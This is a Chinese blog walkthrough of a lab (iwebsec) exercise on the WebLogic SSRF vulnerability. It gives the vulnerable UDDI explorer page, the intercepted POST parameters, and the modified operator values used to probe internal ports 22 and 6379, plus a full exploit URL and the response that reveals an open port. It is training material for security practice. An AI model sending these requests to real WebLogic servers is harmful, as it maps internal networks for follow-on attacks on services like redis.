iwebsec靶场中间件漏洞通关笔记1-Weblogic中间件漏洞(1)

本文链接：https://blog.csdn.net/2401_84968269/article/details/138753168

第01关中间件漏洞

通过实战iwebsec靶场的Weblogic SSRF中间件漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

1.打开靶场

http://iwebsec.com:81/middleware/01.php icon-default.png?t=N7T8 http://iwebsec.com:81/middleware/01.php

2.Weblogic SSRF漏洞

（1）漏洞描述

weblogic中存在SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

（2）影响版本

weblogic 10.0.2 – 10.3.6版本

（3）原理分析

通常来将，WebLogic服务开启的端口号是7001。

WebLogic的SSRF漏洞位于:7001/uddiexplorer/SearchPublicRegistries.jsp页面，如下所示

http://192.168.71.152:7001/uddiexplorer/SearchPublicRegistries.jsp icon-default.png?t=N7T8 http://192.168.71.152:7001/uddiexplorer/SearchPublicRegistries.jsp

这个漏洞可以通过operater这个可控参数来探测端口号是否开放

接下来进行测试，在页面中name中输入ljn，其他内容为空，点击search然后使用bp抓包

此时post的参数如下所示

operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=ljn&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

接下来将operater访问的url改为想要探测的端口号，

http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi

比如说想探测22端口，那么就替换为http://127.0.0.1:22

operator=http://127.0.0.1:22&rdoSearch=name&txtSearchname=ljn&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

如果想探测redis服务的6379端口，那么就替换为http://127.0.0.1:6379

operator=http://127.0.0.1:6379&rdoSearch=name&txtSearchname=ljn&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

SSRF漏洞的渗透结果正如本关卡提示，如下所示

对于iwebsec服务而言，ip地址为192.168.71.152，服务端口号为7001，那么

访问 http://192.168.71.152:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:22&rdoSearch=name&txtSearchname=ljn&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search 返回which did not have a valid SOAP content-type: unknown/unknown.说明127.0.0.1主机的22端口开放